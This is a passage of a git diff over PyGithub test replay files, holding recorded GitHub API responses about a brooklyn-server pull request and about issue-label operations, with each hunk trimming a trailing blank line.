s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '569898E3:14C7:97463B5:583DDA4C'), ('last-modified', 'Fri, 25 Nov 2016 13:15:31 GMT'), ('date', 'Tue, 29 Nov 2016 19:43:08 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1480452188')] {"url":"https://api.github.com/repos/apache/brooklyn-server/pulls/465","id":95300332,"html_url":"https://github.com/apache/brooklyn-server/pull/465","diff_url":"https://github.com/apache/brooklyn-server/pull/465.diff","patch_url":"https://github.com/apache/brooklyn-server/pull/465.patch","issue_url":"https://api.github.com/repos/apache/brooklyn-server/issues/465","number":465,"state":"closed","locked":false,"title":"Change SetHostnameCustomizer to check if /etc/sysconfig/network exist…","user":{"login":"iyovcheva","id":4160133,"avatar_url":"https://avatars.githubusercontent.com/u/4160133?v=3","gravatar_id":"","url":"https://api.github.com/users/iyovcheva","html_url":"https://github.com/iyovcheva","followers_url":"https://api.github.com/users/iyovcheva/followers","following_url":"https://api.github.com/users/iyovcheva/following{/other_user}","gists_url":"https://api.github.com/users/iyovcheva/gists{/gist_id}","starred_url":"https://api.github.com/users/iyovcheva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iyovcheva/subscriptions","organizations_url":"https://api.github.com/users/iyovcheva/orgs","repos_url":"https://api.github.com/users/iyovcheva/repos","events_url":"https://api.github.com/users/iyovcheva/events{/privacy}","received_events_url":"https://api.github.com/users/iyovcheva/received_events","type":"User","site_admin":false},"body":"…s on machine and create it if not\r\n\r\nIn some rare situations it's possible `/etc/sysconfig/network` to be missing on the VM on CentOS 6.\r\nChanged the behavior of `SetHostnameCustomizer` to check and create the file.","created_at":"2016-11-25T12:54:37Z","updated_at":"2016-11-25T13:15:31Z","closed_at":"2016-11-25T13:01:03Z","merged_at":null,"merge_commit_sha":"2ecd02721a0b2920bc2ea333a7a3ce4d74458f19","assignee":null,"assignees":[],"milestone":null,"commits_url":"https://api.github.com/repos/apache/brooklyn-server/pulls/465/commits","review_comments_url":"https://api.github.com/repos/apache/brooklyn-server/pulls/465/comments","review_comment_url":"https://api.github.com/repos/apache/brooklyn-server/pulls/comments{/number}","comments_url":"https://api.github.com/repos/apache/brooklyn-server/issues/465/comments","statuses_url":"https://api.github.com/repos/apache/brooklyn-server/statuses/68fd4d17d44ff9f16a59d8dd18f48fba3b5b38a5","head":{"label":"iyovcheva:set-hostname-customizer","ref":"set-hostname-customizer","sha":"68fd4d17d44ff9f16a59d8dd18f48fba3b5b38a5","user":{"login":"iyovcheva","id":4160133,"avatar_url":"https://avatars.githubusercontent.com/u/4160133?v=3","gravatar_id":"","url":"https://api.github.com/users/iyovcheva","html_url":"https://github.com/iyovcheva","followers_url":"https://api.github.com/users/iyovcheva/followers","following_url":"https://api.github.com/users/iyovcheva/following{/other_user}","gists_url":"https://api.github.com/users/iyovcheva/gists{/gist_id}","starred_url":"https://api.github.com/users/iyovcheva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iyovcheva/subscriptions","organizations_url":"https://api.github.com/users/iyovcheva/orgs","repos_url":"https://api.github.com/users/iyovcheva/repos","events_url":"https://api.github.com/users/iyovcheva/events{/privacy}","received_events_url":"https://api.github.com/users/iyovcheva/received_events","type":"User","site_admin":false},"repo":{"id":51428490,"name":"brooklyn-server","full_name":"iyovcheva/brooklyn-server","owner":{"login":"iyovcheva","id":4160133,"avatar_url":"https://avatars.githubusercontent.com/u/4160133?v=3","gravatar_id":"","url":"https://api.github.com/users/iyovcheva","html_url":"https://github.com/iyovcheva","followers_url":"https://api.github.com/users/iyovcheva/followers","following_url":"https://api.github.com/users/iyovcheva/following{/other_user}","gists_url":"https://api.github.com/users/iyovcheva/gists{/gist_id}","starred_url":"https://api.github.com/users/iyovcheva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iyovcheva/subscriptions","organizations_url":"https://api.github.com/users/iyovcheva/orgs","repos_url":"https://api.github.com/users/iyovcheva/repos","events_url":"https://api.github.com/users/iyovcheva/events{/privacy}","received_events_url":"https://api.github.com/users/iyovcheva/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/iyovcheva/brooklyn-server","description":"Mirror of Apache Brooklyn server","fork":true,"url":"https://api.github.com/repos/iyovcheva/brooklyn-server","forks_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/forks","keys_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/keys{/key_id}","collaborators_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/teams","hooks_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/hooks","issue_events_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/issues/events{/number}","events_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/events","assignees_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/assignees{/user}","branches_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/branches{/branch}","tags_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/tags","blobs_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/refs{/sha}","trees_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/trees{/sha}","statuses_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/statuses/{sha}","languages_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/languages","stargazers_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/stargazers","contributors_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/contributors","subscribers_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/subscribers","subscription_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/subscription","commits_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/commits{/sha}","git_commits_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/commits{/sha}","comments_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/comments{/number}","issue_comment_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/issues/comments{/number}","contents_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/contents/{+path}","compare_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/compare/{base}...{head}","merges_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/merges","archive_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/downloads","issues_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/issues{/number}","pulls_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/pulls{/number}","milestones_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/milestones{/number}","notifications_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/labels{/name}","releases_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/releases{/id}","deployments_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/deployments","created_at":"2016-02-10T08:15:16Z","updated_at":"2016-02-10T08:15:26Z","pushed_at":"2016-11-25T12:50:52Z","git_url":"git://github.com/iyovcheva/brooklyn-server.git","ssh_url":"git@github.com:iyovcheva/brooklyn-server.git","clone_url":"https://github.com/iyovcheva/brooklyn-server.git","svn_url":"https://github.com/iyovcheva/brooklyn-server","homepage":null,"size":32053,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":2,"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"base":{"label":"apache:master","ref":"master","sha":"870986bd96d1fc15d66ca3f249ae86dbc93eafc7","user":{"login":"apache","id":47359,"avatar_url":"https://avatars.githubusercontent.com/u/47359?v=3","gravatar_id":"","url":"https://api.github.com/users/apache","html_url":"https://github.com/apache","followers_url":"https://api.github.com/users/apache/followers","following_url":"https://api.github.com/users/apache/following{/other_user}","gists_url":"https://api.github.com/users/apache/gists{/gist_id}","starred_url":"https://api.github.com/users/apache/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/apache/subscriptions","organizations_url":"https://api.github.com/users/apache/orgs","repos_url":"https://api.github.com/users/apache/repos","events_url":"https://api.github.com/users/apache/events{/privacy}","received_events_url":"https://api.github.com/users/apache/received_events","type":"Organization","site_admin":false},"repo":{"id":47246081,"name":"brooklyn-server","full_name":"apache/brooklyn-server","owner":{"login":"apache","id":47359,"avatar_url":"https://avatars.githubusercontent.com/u/47359?v=3","gravatar_id":"","url":"https://api.github.com/users/apache","html_url":"https://github.com/apache","followers_url":"https://api.github.com/users/apache/followers","following_url":"https://api.github.com/users/apache/following{/other_user}","gists_url":"https://api.github.com/users/apache/gists{/gist_id}","starred_url":"https://api.github.com/users/apache/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/apache/subscriptions","organizations_url":"https://api.github.com/users/apache/orgs","repos_url":"https://api.github.com/users/apache/repos","events_url":"https://api.github.com/users/apache/events{/privacy}","received_events_url":"https://api.github.com/users/apache/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/apache/brooklyn-server","description":"Mirror of Apache Brooklyn server","fork":false,"url":"https://api.github.com/repos/apache/brooklyn-server","forks_url":"https://api.github.com/repos/apache/brooklyn-server/forks","keys_url":"https://api.github.com/repos/apache/brooklyn-server/keys{/key_id}","collaborators_url":"https://api.github.com/repos/apache/brooklyn-server/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/apache/brooklyn-server/teams","hooks_url":"https://api.github.com/repos/apache/brooklyn-server/hooks","issue_events_url":"https://api.github.com/repos/apache/brooklyn-server/issues/events{/number}","events_url":"https://api.github.com/repos/apache/brooklyn-server/events","assignees_url":"https://api.github.com/repos/apache/brooklyn-server/assignees{/user}","branches_url":"https://api.github.com/repos/apache/brooklyn-server/branches{/branch}","tags_url":"https://api.github.com/repos/apache/brooklyn-server/tags","blobs_url":"https://api.github.com/repos/apache/brooklyn-server/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/apache/brooklyn-server/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/apache/brooklyn-server/git/refs{/sha}","trees_url":"https://api.github.com/repos/apache/brooklyn-server/git/trees{/sha}","statuses_url":"https://api.github.com/repos/apache/brooklyn-server/statuses/{sha}","languages_url":"https://api.github.com/repos/apache/brooklyn-server/languages","stargazers_url":"https://api.github.com/repos/apache/brooklyn-server/stargazers","contributors_url":"https://api.github.com/repos/apache/brooklyn-server/contributors","subscribers_url":"https://api.github.com/repos/apache/brooklyn-server/subscribers","subscription_url":"https://api.github.com/repos/apache/brooklyn-server/subscription","commits_url":"https://api.github.com/repos/apache/brooklyn-server/commits{/sha}","git_commits_url":"https://api.github.com/repos/apache/brooklyn-server/git/commits{/sha}","comments_url":"https://api.github.com/repos/apache/brooklyn-server/comments{/number}","issue_comment_url":"https://api.github.com/repos/apache/brooklyn-server/issues/comments{/number}","contents_url":"https://api.github.com/repos/apache/brooklyn-server/contents/{+path}","compare_url":"https://api.github.com/repos/apache/brooklyn-server/compare/{base}...{head}","merges_url":"https://api.github.com/repos/apache/brooklyn-server/merges","archive_url":"https://api.github.com/repos/apache/brooklyn-server/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/apache/brooklyn-server/downloads","issues_url":"https://api.github.com/repos/apache/brooklyn-server/issues{/number}","pulls_url":"https://api.github.com/repos/apache/brooklyn-server/pulls{/number}","milestones_url":"https://api.github.com/repos/apache/brooklyn-server/milestones{/number}","notifications_url":"https://api.github.com/repos/apache/brooklyn-server/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/apache/brooklyn-server/labels{/name}","releases_url":"https://api.github.com/repos/apache/brooklyn-server/releases{/id}","deployments_url":"https://api.github.com/repos/apache/brooklyn-server/deployments","created_at":"2015-12-02T08:00:06Z","updated_at":"2016-11-01T11:09:27Z","pushed_at":"2016-11-29T17:32:56Z","git_url":"git://github.com/apache/brooklyn-server.git","ssh_url":"git@github.com:apache/brooklyn-server.git","clone_url":"https://github.com/apache/brooklyn-server.git","svn_url":"https://github.com/apache/brooklyn-server","homepage":null,"size":33116,"stargazers_count":13,"watchers_count":13,"language":"Java","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":40,"mirror_url":"git://git.apache.org/brooklyn-server.git","open_issues_count":19,"forks":40,"open_issues":19,"watchers":13,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/apache/brooklyn-server/pulls/465"},"html":{"href":"https://github.com/apache/brooklyn-server/pull/465"},"issue":{"href":"https://api.github.com/repos/apache/brooklyn-server/issues/465"},"comments":{"href":"https://api.github.com/repos/apache/brooklyn-server/issues/465/comments"},"review_comments":{"href":"https://api.github.com/repos/apache/brooklyn-server/pulls/465/comments"},"review_comment":{"href":"https://api.github.com/repos/apache/brooklyn-server/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/apache/brooklyn-server/pulls/465/commits"},"statuses":{"href":"https://api.github.com/repos/apache/brooklyn-server/statuses/68fd4d17d44ff9f16a59d8dd18f48fba3b5b38a5"}},"merged":false,"mergeable":true,"mergeable_state":"unstable","merged_by":null,"comments":1,"review_comments":0,"commits":1,"additions":32,"deletions":7,"changed_files":1} - diff --git a/tests/ReplayData/Issue50.setUp.txt b/tests/ReplayData/Issue50.setUp.txt index d2eaa52686..483c01cebf 100644 --- a/tests/ReplayData/Issue50.setUp.txt +++ b/tests/ReplayData/Issue50.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('content-length', '2169'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4890'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 27 Jun 2012 22:46:10 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bb61450865a934ca7ee53d6dde588876"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')] {"labels":[{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}],"body":null,"state":"open","closed_at":null,"assignee":{"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"comments":2,"title":"[Issue] Replace label _identity with name","created_at":"2012-06-25T18:45:05Z","number":50,"milestone":{"open_issues":3,"state":"open","due_on":"2012-07-01T07:00:00Z","description":"","creator":{"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":0,"title":"Version 1.2","created_at":"2012-06-25T19:31:02Z","number":6,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6","id":136827},"html_url":"https://github.com/jacquev6/PyGithub/issues/50","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50","closed_by":null,"user":{"login":"philipkimmey","gravatar_id":"6baf93a46e584369e1ea64bc1aca62f4","url":"https://api.github.com/users/philipkimmey","avatar_url":"https://secure.gravatar.com/avatar/6baf93a46e584369e1ea64bc1aca62f4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":211079},"id":5256315,"pull_request":{"diff_url":"https://github.com/jacquev6/PyGithub/pull/50.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/50.patch","html_url":"https://github.com/jacquev6/PyGithub/pull/50"},"updated_at":"2012-06-25T19:33:48Z"} - diff --git a/tests/ReplayData/Issue50.testAddLabelToIssue.txt b/tests/ReplayData/Issue50.testAddLabelToIssue.txt index 4fc4e4073a..ef38321cf2 100644 --- a/tests/ReplayData/Issue50.testAddLabelToIssue.txt +++ b/tests/ReplayData/Issue50.testAddLabelToIssue.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('content-length', '419'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4917'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"e1d0a1c54608a676af0cdc1f63e04da7"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 19:54:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}] - diff --git a/tests/ReplayData/Issue50.testCreateIssueWithLabel.txt b/tests/ReplayData/Issue50.testCreateIssueWithLabel.txt index 2884f165d4..ed364b4111 100644 --- a/tests/ReplayData/Issue50.testCreateIssueWithLabel.txt +++ b/tests/ReplayData/Issue50.testCreateIssueWithLabel.txt @@ -19,4 +19,3 @@ None 201 [('status', '201 Created'), ('content-length', '963'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4907'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"e1e5db9ef97e084a3d36ede8dc41c0d9"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/52'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 19:56:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"labels":[{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"}],"body":null,"state":"open","closed_at":null,"assignee":null,"comments":0,"title":"Issue created by PyGithub to test issue #50","created_at":"2012-06-28T19:56:21Z","number":52,"milestone":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/52","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/52","closed_by":null,"user":{"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"id":5330629,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"updated_at":"2012-06-28T19:56:21Z"} - diff --git a/tests/ReplayData/Issue50.testCreateLabel.txt b/tests/ReplayData/Issue50.testCreateLabel.txt index cb94bfa990..51c3658302 100644 --- a/tests/ReplayData/Issue50.testCreateLabel.txt +++ b/tests/ReplayData/Issue50.testCreateLabel.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('content-length', '197'), ('etag', '"99cbb3bf0f7ee7d6278c2ddd3ef42577"'), ('x-ratelimit-remaining', '4968'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"} - diff --git a/tests/ReplayData/Issue50.testGetIssuesWithLabel.txt b/tests/ReplayData/Issue50.testGetIssuesWithLabel.txt index 8868c42714..ca91a8d8da 100644 --- a/tests/ReplayData/Issue50.testGetIssuesWithLabel.txt +++ b/tests/ReplayData/Issue50.testGetIssuesWithLabel.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('content-length', '3101'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4893'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:56:21 GMT'), ('connection', 'keep-alive'), ('etag', '"60a85542a2e824eb5fc96c5a99657fff"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:03:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"labels":[{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"}],"body":null,"state":"open","closed_at":null,"assignee":null,"comments":0,"title":"Issue created by PyGithub to test issue #50","created_at":"2012-06-28T19:56:21Z","number":52,"milestone":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/52","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/52","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"id":5330629,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"updated_at":"2012-06-28T19:56:21Z"},{"labels":[{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"}],"body":null,"state":"open","closed_at":null,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"comments":2,"title":"[Issue] Replace label _identity with name","created_at":"2012-06-25T18:45:05Z","number":50,"milestone":{"open_issues":3,"state":"open","due_on":"2012-07-01T07:00:00Z","description":"","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"closed_issues":0,"title":"Version 1.2","created_at":"2012-06-25T19:31:02Z","number":6,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6","id":136827},"html_url":"https://github.com/jacquev6/PyGithub/issues/50","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50","user":{"avatar_url":"https://secure.gravatar.com/avatar/6baf93a46e584369e1ea64bc1aca62f4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"philipkimmey","gravatar_id":"6baf93a46e584369e1ea64bc1aca62f4","url":"https://api.github.com/users/philipkimmey","id":211079},"id":5256315,"pull_request":{"diff_url":"https://github.com/jacquev6/PyGithub/pull/50.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/50.patch","html_url":"https://github.com/jacquev6/PyGithub/pull/50"},"updated_at":"2012-06-25T19:33:48Z"}] - diff --git a/tests/ReplayData/Issue50.testGetLabel.txt b/tests/ReplayData/Issue50.testGetLabel.txt index f7a5849221..0b8e4c8f57 100644 --- a/tests/ReplayData/Issue50.testGetLabel.txt +++ b/tests/ReplayData/Issue50.testGetLabel.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '197'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4964'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 19:32:14 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"} - diff --git a/tests/ReplayData/Issue50.testGetLabels.txt b/tests/ReplayData/Issue50.testGetLabels.txt index d5fa1ddf25..c9eef52022 100644 --- a/tests/ReplayData/Issue50.testGetLabels.txt +++ b/tests/ReplayData/Issue50.testGetLabels.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '1015'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4953'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 19:36:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"0b02e1","name":"Refactoring","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring"},{"color":"d7e102","name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface"},{"color":"e102d8","name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities"},{"color":"444444","name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management"},{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"02e10c","name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"}] - diff --git a/tests/ReplayData/Issue50.testIssueGetLabels.txt b/tests/ReplayData/Issue50.testIssueGetLabels.txt index ee8d60b1b2..36ffdab50e 100644 --- a/tests/ReplayData/Issue50.testIssueGetLabels.txt +++ b/tests/ReplayData/Issue50.testIssueGetLabels.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4903'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '419'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 19:57:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}] - diff --git a/tests/ReplayData/Issue50.testRemoveLabelFromIssue.txt b/tests/ReplayData/Issue50.testRemoveLabelFromIssue.txt index 01a8333376..a48b4350a6 100644 --- a/tests/ReplayData/Issue50.testRemoveLabelFromIssue.txt +++ b/tests/ReplayData/Issue50.testRemoveLabelFromIssue.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('content-length', '221'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4936'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"f52869e02750b4a36166ec2d23c2f471"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 19:43:02 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}] - diff --git a/tests/ReplayData/Issue50.testSetIssueLabels.txt b/tests/ReplayData/Issue50.testSetIssueLabels.txt index 3f4a417332..a88aded168 100644 --- a/tests/ReplayData/Issue50.testSetIssueLabels.txt +++ 